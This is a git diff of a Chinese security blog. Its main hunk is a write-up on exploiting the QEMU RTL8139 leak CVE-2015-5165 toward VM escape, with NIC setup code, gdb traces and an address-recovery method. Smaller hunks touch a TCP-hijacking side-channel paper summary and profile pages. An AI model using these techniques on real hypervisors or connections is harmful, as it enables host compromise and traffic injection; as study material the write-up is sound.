Start Addr End Addr Size Offset objfile
|
||||
0x556857048000 0x55685791d000 0x8d5000 0x0 /usr/bin/qemu-system-x86_64
|
||||
0x556857b1c000 0x556857ce8000 0x1cc000 0x8d4000 /usr/bin/qemu-system-x86_64
|
||||
0x556857ce8000 0x556857d67000 0x7f000 0xaa0000 /usr/bin/qemu-system-x86_64
|
||||
0x556857d67000 0x5568581ca000 0x463000 0x0
|
||||
0x556859c27000 0x55685b038000 0x1411000 0x0 [heap]
|
||||
... ... ... ...
|
||||
0x7f72afe00000 0x7f732fe00000 0x80000000 0x0 [2GB RAM]
|
||||
... ... ... ...
|
||||
(gdb) x/s 0x7f72afe00000+0x73b17b20
|
||||
0x7f7323917b20: "Where am I?"
|
||||
```
|
||||
|
||||
## 3 Memory Leak Exploitation
|
||||
|
||||
接下来,我们将利用CVE-2015-5165(一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞)来重建QEMU的内存布局。 更准确地说,我们需要泄漏
|
||||
|
||||
1. .text段的基地址,以构建我们的shellcode
|
||||
2. 为Guest分配的物理内存的基地址,以便能够获得 一些虚拟结构的地址
|
||||
|
||||
### 3.1 The vulnerable Code
|
||||
|
||||
REALTEK网卡支持两种 接收/发送 操作模式:C模式和C +模式。 当将网卡设置为使用C +时,网卡设备仿真器会错误地计算IP数据包数据的长度,最终发送的数据量会超出数据包中实际可用的数据量。
|
||||
|
||||
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
|
||||
|
||||
```c
|
||||
/* ip packet header */
|
||||
ip_header *ip = NULL;
|
||||
int hlen = 0;
|
||||
uint8_t ip_protocol = 0;
|
||||
uint16_t ip_data_len = 0;
|
||||
|
||||
uint8_t *eth_payload_data = NULL;
|
||||
size_t eth_payload_len = 0;
|
||||
|
||||
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
|
||||
if (proto == ETH_P_IP)
|
||||
{
|
||||
DPRINTF("+++ C+ mode has IP packet\n");
|
||||
|
||||
/* not aligned */
|
||||
eth_payload_data = saved_buffer + ETH_HLEN;
|
||||
eth_payload_len = saved_size - ETH_HLEN;
|
||||
|
||||
ip = (ip_header*)eth_payload_data;
|
||||
|
||||
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
|
||||
DPRINTF("+++ C+ mode packet has bad IP version %d "
|
||||
"expected %d\n", IP_HEADER_VERSION(ip),
|
||||
IP_HEADER_VERSION_4);
|
||||
ip = NULL;
|
||||
} else {
|
||||
hlen = IP_HEADER_LENGTH(ip);
|
||||
ip_protocol = ip->ip_p;
|
||||
ip_data_len** **= be16_to_cpu(ip->ip_len) - hlen;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
IP头包含两个字段hlen和ip-> ip_len,分别表示IP头的长度(考虑到不带选项的数据包,为20字节)和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示,在计算IP数据长度(ip_data_len)时,没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int,因此导致发送的数据多于发送缓冲区中实际可用的数据。
|
||||
|
||||
更精确地讲,ip_data_len稍后用于计算TCP数据的长度,如果该数据超过MTU的大小,则将其逐块复制到一个malloc缓冲区中:
|
||||
|
||||
```c
|
||||
int tcp_data_len** **= ip_data_len - tcp_hlen;
|
||||
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
|
||||
|
||||
int is_last_frame = 0;
|
||||
|
||||
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
|
||||
tcp_send_offset += tcp_chunk_size) {
|
||||
uint16_t chunk_size = tcp_chunk_size;
|
||||
|
||||
/* check if this is the last frame */
|
||||
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
|
||||
is_last_frame = 1;
|
||||
chunk_size = tcp_data_len - tcp_send_offset;
|
||||
}
|
||||
|
||||
memcpy(data_to_checksum, saved_ip_header + 12, 8);
|
||||
|
||||
if (tcp_send_offset) {
|
||||
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
|
||||
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
|
||||
chunk_size);
|
||||
}
|
||||
|
||||
/* more code follows */
|
||||
}
|
||||
```
|
||||
|
||||
因此,如果我们伪造了长度损坏的畸形数据包(例如ip→ip_len = hlen-1),则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束, 而不是发送单个数据包。
|
||||
|
||||
|
||||
### 3.2 Setting up the Card
|
||||
|
||||
为了发送格式错误的数据包并读取泄漏的数据,我们需要在卡上配置Rx和Tx描述符缓冲区,并设置一些标志,以使我们的数据包流经易受攻击的代码路径。
|
||||
|
||||
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
|
||||
|
||||
```shell
|
||||
+---------------------------+----------------------------+
|
||||
0x00 | MAC0 | MAR0 |
|
||||
+---------------------------+----------------------------+
|
||||
0x10 | TxStatus0 |
|
||||
+--------------------------------------------------------+
|
||||
0x20 | TxAddr0 |
|
||||
+-------------------+-------+----------------------------+
|
||||
0x30 | RxBuf |ChipCmd| |
|
||||
+-------------+------+------+----------------------------+
|
||||
0x40 | TxConfig | RxConfig | ... |
|
||||
+-------------+-------------+----------------------------+
|
||||
| |
|
||||
| skipping irrelevant registers |
|
||||
| |
|
||||
+---------------------------+--+------+------------------+
|
||||
0xd0 | ... | |TxPoll| ... |
|
||||
+-------+------+------------+--+------+--+---------------+
|
||||
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
|
||||
+-------+------+------------+------------+---------------+
|
||||
```
|
||||
|
||||
* **TxConfig:** 启用/禁用Tx标志,例如TxLoopBack(启用回送测试模式),TxCRC(不将CRC附加到Tx数据包)等。
|
||||
* **RxConfig:** 启用/禁用Rx标志,例如AcceptBroadcast(接受广播数据包),AcceptMulticast(接受组播数据包)等。
|
||||
* **CpCmd:** C+命令寄存器,用于启用某些功能,例如CplusRxEnd(启用接收),CplusTxEnd(启用发送)等。
|
||||
* **TxAddr0:** Tx描述符表的物理内存地址。
|
||||
* **RxRingAddrLO:** Rx描述符表的低32位物理内存地址。
|
||||
* **RxRingAddrHI:** Rx描述符表的高32位物理内存地址。
|
||||
* **TxPoll:**告诉网卡检查Tx描述符。
|
||||
|
||||
Rx/Tx描述符 由以下结构定义,其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志(例如所有权标志)进行编码,以表示缓冲区是由网卡还是由驱动程序拥有。
|
||||
|
||||
```c
|
||||
struct rtl8139_desc {
|
||||
uint32_t dw0;
|
||||
uint32_t dw1;
|
||||
uint32_t **buf_lo**;
|
||||
uint32_t **buf_hi**;
|
||||
};
|
||||
```
|
||||
|
||||
网卡通过in*() out*()原语(来自sys/io.h)进行配置。 为此,我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
|
||||
|
||||
```c
|
||||
#define RTL8139_PORT 0xc000
|
||||
#define RTL8139_BUFFER_SIZE 1500
|
||||
|
||||
struct rtl8139_desc desc;
|
||||
void *rtl8139_tx_buffer;
|
||||
uint32_t phy_mem;
|
||||
|
||||
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
|
||||
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);
|
||||
|
||||
memset(&desc, 0, sizeof(struct rtl8139_desc));
|
||||
|
||||
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
|
||||
CP_TX_IPCS | CP_TX_TCPCS;
|
||||
desc->dw0 += RTL8139_BUFFER_SIZE;
|
||||
|
||||
desc.buf_lo = phy_mem;
|
||||
|
||||
iopl(3);
|
||||
|
||||
outl(TxLoopBack, RTL8139_PORT + TxConfig);
|
||||
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
|
||||
|
||||
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
|
||||
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
|
||||
|
||||
outl(phy_mem, RTL8139_PORT + TxAddr0);
|
||||
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
|
||||
```
|
||||
|
||||
### 3.3 Exploit
|
||||
|
||||
phrack随附的源代码中提供了完整的利用(cve-2015-5165.c)。( uuencode用于将二进制文件编码为纯ASCII文本,以便可以通过电子邮件发送它们。)
|
||||
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址,因此首先需要通过[build-exploit.sh](https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-7504/build-exploit.sh)来进行计算。
|
||||
|
||||
```shell
|
||||
./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64'
|
||||
```
|
||||
|
||||
该漏洞利用程序在网卡上配置所需的寄存器,并设置Tx和Rx缓冲区描述符。 然后,它伪造了格式错误的IP数据包,该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
|
||||
通过对qemu运行程序下断点,可用看到漏洞触发的过程,由于ip_len小于伪造的hlen,导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去(网卡需要配置为loopback 口)
|
||||
|
||||
```shell
|
||||
(gdb) b rtl8139.c:2173
|
||||
Breakpoint 1 at 0x55a5ef757b03: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2173.
|
||||
(gdb) c
|
||||
Continuing.
|
||||
|
||||
Thread 3 "qemu-system-x86" hit Breakpoint 1, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
|
||||
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2173
|
||||
2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
|
||||
(gdb) p/x ip
|
||||
$1 = 0x7ff7d4278b6e
|
||||
(gdb) p/x *ip
|
||||
$2 = {ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde, ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6,
|
||||
ip_sum = 0xadde, ip_src = 0x10108c0, ip_dst = 0x201a8c0}
|
||||
(gdb) n
|
||||
[Thread 0x7ff7e131f700 (LWP 56763) exited]
|
||||
2179 hlen = IP_HEADER_LENGTH(ip);
|
||||
(gdb) n
|
||||
2180 ip_protocol = ip→ip_p;
|
||||
(gdb) p/x hlen
|
||||
$5 = 0x14
|
||||
(gdb) n
|
||||
2181 ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
|
||||
(gdb) n
|
||||
2185 if (ip)
|
||||
(gdb) p/x ip_data_len
|
||||
**$7 = 0xffff**
|
||||
(gdb) b rtl8139.c:2231
|
||||
Breakpoint 2 at 0x55a5ef757d42: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2231.
|
||||
(gdb) c
|
||||
Continuing.
|
||||
|
||||
Thread 3 "qemu-system-x86" hit Breakpoint 2, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)
|
||||
at /home/han/VMescape/qemu/hw/net/rtl8139.c:2231
|
||||
2231 int tcp_data_len = ip_data_len - tcp_hlen;
|
||||
(gdb) n
|
||||
2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
|
||||
(gdb) p/x tcp_data_len
|
||||
**$8 = 0xffeb**
|
||||
```
|
||||
|
||||
|
||||
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时,我们观察到存在多个函数指针。经过调试,发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 **get/set/resolve/release**
|
||||
|
||||
```c
|
||||
typedef struct ObjectProperty
|
||||
{
|
||||
gchar *name;
|
||||
gchar *type;
|
||||
gchar *description;
|
||||
ObjectPropertyAccessor *get;
|
||||
ObjectPropertyAccessor *set;
|
||||
ObjectPropertyResolve *resolve;
|
||||
ObjectPropertyRelease *release;
|
||||
void *opaque;
|
||||
|
||||
QTAILQ_ENTRY(ObjectProperty) node;
|
||||
} ObjectProperty;
|
||||
```
|
||||
|
||||
QEMU遵循对象模型来管理设备,内存区域等。启动时,QEMU创建多个对象并为其分配属性。 例如,以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法,可以检索此boolean属性的值:
|
||||
|
||||
```c
|
||||
object_property_add_bool(OBJECT(mr), "may-overlap",
|
||||
memory_region_get_may_overlap,
|
||||
NULL, /* memory_region_set_may_overlap */
|
||||
&error_abort);
|
||||
```
|
||||
|
||||
RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
|
||||
|
||||
在我们的漏洞利用中,我们在泄漏的内存中搜索已知的对象属性。更准确地说,我们正在寻找80个字节的内存块(块大小为已释放的ObjectProperty结构),其中至少设置了一个函数指针(get, set, resolve or release)。
|
||||
即使这些地址受ASLR约束,我们仍然可以猜测**.text节的基地址**。
|
||||
|
||||
> 0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 **property_get_bool** 等符号的地址
|
||||
|
||||
> 1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr, 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_chunk**
|
||||
|
||||
> 2) 在 1 搜索到的内存上匹配 0 收集到的 **get/set/resolve/release** 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 **qemu_get_leaked_object_property**
|
||||
|
||||
> 3) 在 2 搜索的基础上, 用 **object->get/set/resolve/release** 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址
|
||||
|
||||
实际上,它们的页面偏移是固定的(12个最低有效位或虚拟地址不是随机的)。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址,例如mprotect() 和system()。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png)
|
||||
我们还注意到,地址PHY_MEM + 0x78泄漏了几次,其中PHY_MEM是分配给该Guest的**物理内存的起始地址。**
|
||||
|
||||
|
||||
> 总结:当前漏洞利用程序搜索泄漏的内存,并尝试解析(i).text段的基地址和(ii)物理内存的基地址。
|
||||
|
||||
### 3.4 遇到的几个问题
|
||||
|
||||
1. phrack提供的build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址。[原始的](http://www.phrack.org/papers/vm-escape-qemu-case-study.html) build-exploit.sh 获取 plt 段是通过下面的命令行:
|
||||
2. `plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')`
|
||||
|
||||
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
|
||||
|
||||
```shell
|
||||
#plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
|
||||
plt=.plt
|
||||
```
|
||||
|
||||
1. Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78,但实际上并不固定为0x78,更通用的做法是统计泄露的数据中出现的 `uint64_t` 类型的数据 `0x00007FXXYYZZZZZZ` ,其中 `7FXXYY` 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址
|
||||
|
||||
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png">
|
||||
|
||||
通过 gdb 调试验证结果正确性:
|
||||
|
||||
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png" >
|
||||
|
||||
## ref
|
||||
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
|
||||
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
|
||||
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/
|
@ -6,6 +6,7 @@ tags:
|
||||
- ctf
|
||||
categories:
|
||||
- web
|
||||
description: WEB安全的START
|
||||
---
|
||||
|
||||
# 搭建环境
|
||||
|
@ -6,6 +6,7 @@ tags:
|
||||
- ctf
|
||||
categories:
|
||||
- web
|
||||
description: 信息收集+常规owasp top 10+逻辑漏洞
|
||||
---
|
||||
|
||||
信息收集+常规owasp top 10+逻辑漏洞
|
||||
|
@ -6,6 +6,7 @@ tags:
|
||||
- wifi
|
||||
categories:
|
||||
- 顶会论文
|
||||
description: 什么是信息?什么是加密?什么是侧信道?
|
||||
---
|
||||
|
||||
|
||||
@ -22,7 +23,7 @@ categories:
|
||||
|
||||
**香农信息论**
|
||||
|
||||
![信息熵](./1.png)
|
||||
![信息熵](https://raw.githubusercontent.com/Cool-Y/tcp_exploit/master/pic/1.PNG)
|
||||
|
||||
**什么是信息?** 用来减少随机不确定的东西
|
||||
|
||||
@ -42,7 +43,7 @@ categories:
|
||||
1. 中间人攻击
|
||||
> "指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。"
|
||||
|
||||
![](./2-Man_in_the_middle_attack.svg.png)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/2-Man_in_the_middle_attack.svg.png?raw=true)
|
||||
* 公共wifi、路由器劫持
|
||||
* 一般使用加密来防御
|
||||
* 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)
|
||||
@ -59,7 +60,7 @@ categories:
|
||||
----------------
|
||||
|
||||
### TCP三次握手
|
||||
![](./3-Connection_TCP.png)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/3-Connection_TCP.png?raw=true)
|
||||
>1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三路握手的一部分。客户端把这段连接的序号设定为*随机数A*。
|
||||
>2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1,SYN/ACK包本身又有一个*随机产生的序号B*。
|
||||
>3. 最后,客户端再发送一个ACK。当服务端收到这个ACK的时候,就完成了三路握手,并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1,而响应号则为B+1。
|
||||
@ -82,12 +83,12 @@ categories:
|
||||
|
||||
**攻击模型:**
|
||||
给受害者安装一个无特权的应用程序(仅能网络连接),这个程序跟非中间人的攻击者里应外合,劫持手机上所有的TCP连接。
|
||||
![](./5-攻击模型.PNG)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/5-%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B.PNG?raw=true)
|
||||
|
||||
**如何劫持TCP**
|
||||
1. 需要的信息:Facebook的连接IP地址和端口号,由此可以知道TCP连接的序列号,利用序列号伪装成Facebook给手机发消息。
|
||||
使用netstat命令获取:
|
||||
![](./4-netstat获取信息.jpg)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/4-netstat%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF.jpg?raw=true)
|
||||
|
||||
2. 任务:由于TCP的序列号通常连续,所以要精确猜到它的下一个序列号。
|
||||
3. 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。
|
||||
@ -116,9 +117,9 @@ categories:
|
||||
**如何利用共享限速器:**
|
||||
先判断是否建立了连接。然后伪造TCP包,需要猜测源端口,如果猜测正确,服务器会返回一个challenge,攻击者不断触发,一共可以收到99个(还有一个发给了客户端);如果猜测错误,则一共可以收到100个challenge。
|
||||
|
||||
![](./6-GRL-R.png)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/6-GRL-R.PNG?raw=true)
|
||||
|
||||
![](./7-GRL-L.png)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/7-GRL-L.PNG?raw=true)
|
||||
|
||||
**评估:** 是否建立了连接:<10s ; Seq:30s ; ACK:<10s
|
||||
|
||||
@ -132,15 +133,15 @@ Can Jeopardize Your Secrets
|
||||
之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。
|
||||
|
||||
**TCP收包的原理:** 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了,就会去看这个包的序列号;如果序列号不对,会触发一个回复,说明这个序列号存在问题;如果序列号正确,但反向序列号不对,也会丢包。当连接匹配、序列号和反向序列号正确时,就会返回一个数据包。
|
||||
![](./8-收包原理.jpg)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-%E6%94%B6%E5%8C%85%E5%8E%9F%E7%90%86.jpg?raw=true)
|
||||
|
||||
**侧信道:** 攻击者伪装成服务器给客户端发包,正确的序列号会有***回复***,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 ***半双工*** 传输。
|
||||
让有回包和没有回包的时间差异放大。
|
||||
|
||||
**判断流程:** 客户端和路由器之间wifi通信。攻击者依次发送三个数据包,第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的,如果第2个包猜对了,客户端会向服务器返回数据包,这会导致占用更长时间的wifi信道,从而会使第3个包的RTT更长。
|
||||
![](./8-noTrigger.PNG)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-Trigger.PNG?raw=true)
|
||||
|
||||
![](./8-trigger.PNG)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-noTrigger.PNG?raw=true)
|
||||
|
||||
**评估:** 在本地环境下,如果发送40个包,就有20ms的RTT差别。
|
||||
|
||||
@ -160,14 +161,14 @@ Can Jeopardize Your Secrets
|
||||
**4. 细节:**
|
||||
* **连接(四元组)推断:** 每一轮使用30个重复包测试一个端口,如果端口号正确,就会发现RTT大幅增加。如果还要完成 ***web缓存投毒*** ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:***windows&macOS*** 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号,这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号,这完全消除了对端口号推断的需要。***NAT*** 端口保留,不需要关心外部端口被转换成不可预知的内部端口。***来自同一域名的多个IP地址***,这意味着攻击者需要付出更大的代价来推断端口号。
|
||||
* **序列号推断:** 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 ***窗口内序列号***,通过进行二分搜索进一步将序列号空间缩小到单个值 ***RCV.NXT***。如果还要使用傀儡建立的连接发起web缓存投毒,可以进一步优化:***增大接收窗口的大小***,可以减少猜测的迭代次数,通常可以放大到500000(之前是65535),而且根据RFC793,窗口放大之后就永远不会缩小。
|
||||
![](./9-序列号推断.PNG)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-%E5%BA%8F%E5%88%97%E5%8F%B7%E6%8E%A8%E6%96%AD.PNG?raw=true)
|
||||
* **TCP劫持:** 通过劫持傀儡初始化的连接,可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范,所以各自处理情况也不同——***windows***:客户端必须持续发送请求以防止ACK接收窗口仅为一个字节,这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。
|
||||
因此,作者设计了一种新策略,该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 ***(1)注入***,傀儡不断从服务器上请求脚本,而攻击者发送2^23/|wnd|个欺骗性数据包,这些包的窗口序列号与RCV.NXT加上偏移量相匹配,其中|wnd|为ack接收窗口大小,第i个数据包的ACK号为i*|wnd|,payload为
|
||||
```
|
||||
websocket.send(|wnd|*i)
|
||||
```
|
||||
因此,这些数据包中包含有效ACK号的一个包将被缓冲,并破坏真实的HTTP响应头。浏览器执行注入的脚本时,它将通过websocket发送猜测的ACK号,提供有效的窗口内ACK号。
|
||||
![](./9-http注入.PNG)
|
||||
![](https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-http%E6%B3%A8%E5%85%A5.PNG?raw=true)
|
||||
***(2)利用***,由于客户端已经接受了额外的欺骗payload,推进了其预期的序列号,因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应(知道预期的序列号和有效的ACK号)。如果我们只想执行一次性注入,只需用恶意脚本替换第一步中的payload就足够了。
|
||||
此外,针对Windows的注入步骤存在更加通用的替代策略,不依赖于浏览器行为。 具体来说,由于HTTP响应的前几个字节是可预先确定的(即HTTP),不破坏真实的响应,而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露,就存在各种方法来有效地将数据注入浏览器,而不用进行基于时间信道的慢得多的ACK号推断。
|
||||
|
||||
|
@ -6,10 +6,9 @@ tags:
|
||||
- Windows
|
||||
- 漏洞
|
||||
categories: Pwn
|
||||
description: 这部分是对Window x86平台下的几个典型漏洞利用方式的介绍,从最基础的、没有开启任何保护的漏洞程序入手,然后开启GS,最后通过rop绕过DEP。
|
||||
---
|
||||
这部分是对Window x86平台下的几个典型漏洞利用方式的介绍,从最基础的、没有开启任何保护的漏洞程序入手,然后开启GS,最后通过rop绕过DEP。
|
||||
|
||||
---------------
|
||||
|
||||
# 0x00 漏洞利用开发简介
|
||||
(1)需要什么
|
||||
|
@ -7,6 +7,7 @@ tags:
|
||||
- 自然语言处理
|
||||
categories:
|
||||
- 顶会论文
|
||||
description: 提前发现、登记和注释物联网设备
|
||||
---
|
||||
***论文来源:***USENIX SECURITY 2018:Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices
|
||||
***下载:***
|
||||
|
@ -7,6 +7,7 @@ tags:
|
||||
- SSH
|
||||
categories:
|
||||
- IOT
|
||||
description: 小米基于 trx 改了个打包解包固件的工具
|
||||
---
|
||||
# 小米固件工具mkxqimage
|
||||
|
||||
|
@ -6,7 +6,7 @@ tags:
|
||||
- 硬件层
|
||||
categories:
|
||||
- IOT
|
||||
|
||||
description: 固件有几种获取方法?
|
||||
---
|
||||
|
||||
通过分析物联网设备遭受攻击的链条可以发现,黑客获取固件,把固件逆向成汇编或C程序语言后,能分析出设备的运行流程和网络行为,还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息,他们也很难发现这些漏洞。从这一点看,物联网设备的安全性,在很大程度上决定于其固件的安全性。
|
||||
|
@ -5,6 +5,7 @@ tags:
|
||||
- 逆向
|
||||
- 破解
|
||||
categories: 二进制
|
||||
description: 一些逆向的小实验
|
||||
---
|
||||
|
||||
# 软件保护方式
|
||||
|
@ -1,22 +1,39 @@
|
||||
---
|
||||
title: 关于我
|
||||
title: About Cool❄️, aka 混元霹雳手
|
||||
date: 2019-03-17 18:55:11
|
||||
type: "about"
|
||||
comments: false
|
||||
---
|
||||
|
||||
---------------
|
||||
------
|
||||
## TL;DR
|
||||
- 🔭 Focus on IoT security and Android security.
|
||||
- 🌱 Learning VM escape.
|
||||
- 📝 My blog: https://cool-y.github.io/
|
||||
- 🏫 Bachelor: Sichuan university; Master: Wuhan university
|
||||
- 📫 Hit me up: cool.yim@foxmail.com
|
||||
- ⚡ Fun fact: 'Fun Facts' Are Never Fun
|
||||
- 💬 Ask me about ...
|
||||
|
||||
<center>一只想成为hacker的菜鸡的随笔
|
||||
------
|
||||
## 🙊Papers
|
||||
### **智能家居攻击与防御方法综述**
|
||||
**信息安全学报** , Han Yan, Guojun Peng, Luo Yuan, Side Liu
|
||||
|
||||
自称混元霹雳手
|
||||
### **Android Data-Clone Attack via Operating System Customization**
|
||||
**IEEE Access**, Song, Wenna, Ming Jiang, Han Yan, Yi Xiang, Yuan Chen, Yuan Luo, Kun He, and Guojun Peng.
|
||||
|
||||
本科毕业于成都七中附属大学,EE专业
|
||||
### **App's Auto-Login Function Security Testing via Android OS-Level Virtualization**
|
||||
**ICSE'21**, Song, Wenna, Jiang Ming, Lin Jiang, Han Yan, Yi Xiang, Yuan Chen, Jianming Fu, and Guojun Peng.
|
||||
|
||||
现于街道口樱花大学攻读IS硕士
|
||||
-------
|
||||
## 🙈Academic service
|
||||
**Journal Sub Reviewer:** 信息安全学报,Cyber Security
|
||||
|
||||
偶尔分享踩过的坑
|
||||
|
||||
以及一些乱七八糟的想法
|
||||
|
||||
***欢迎交流~***</center>
|
||||
-------
|
||||
## 🐒Vulnerabilities Disclosure
|
||||
- PSV-2018-0020(duplicate)
|
||||
- PSV-2019-0164
|
||||
- CVE-2019-15843
|
||||
- PSV-2020-0211(extended)
|
||||
- CVE-2021-29379
|
||||
|
119
source/album/index.md
Normal file
119
source/album/index.md
Normal file
@ -0,0 +1,119 @@
|
||||
---
|
||||
title: Life is a wonderful thing
|
||||
date: 2019-08-08 20:35:31
|
||||
type: "hack之外"
|
||||
comments: true
|
||||
---
|
||||
|
||||
## 👣Footprint
|
||||
### Beijing
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/ed8fcbd8846a5503f00ad7dc89bb250.jpg) | ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/bae0a0b1356578e2ea0e3cbc8775789.jpg) |
|
||||
| ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075017/life/3103ea1e6f402d8071956b933a4888a.jpg) ||
|
||||
|
||||
### Qingdao & Yantai
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
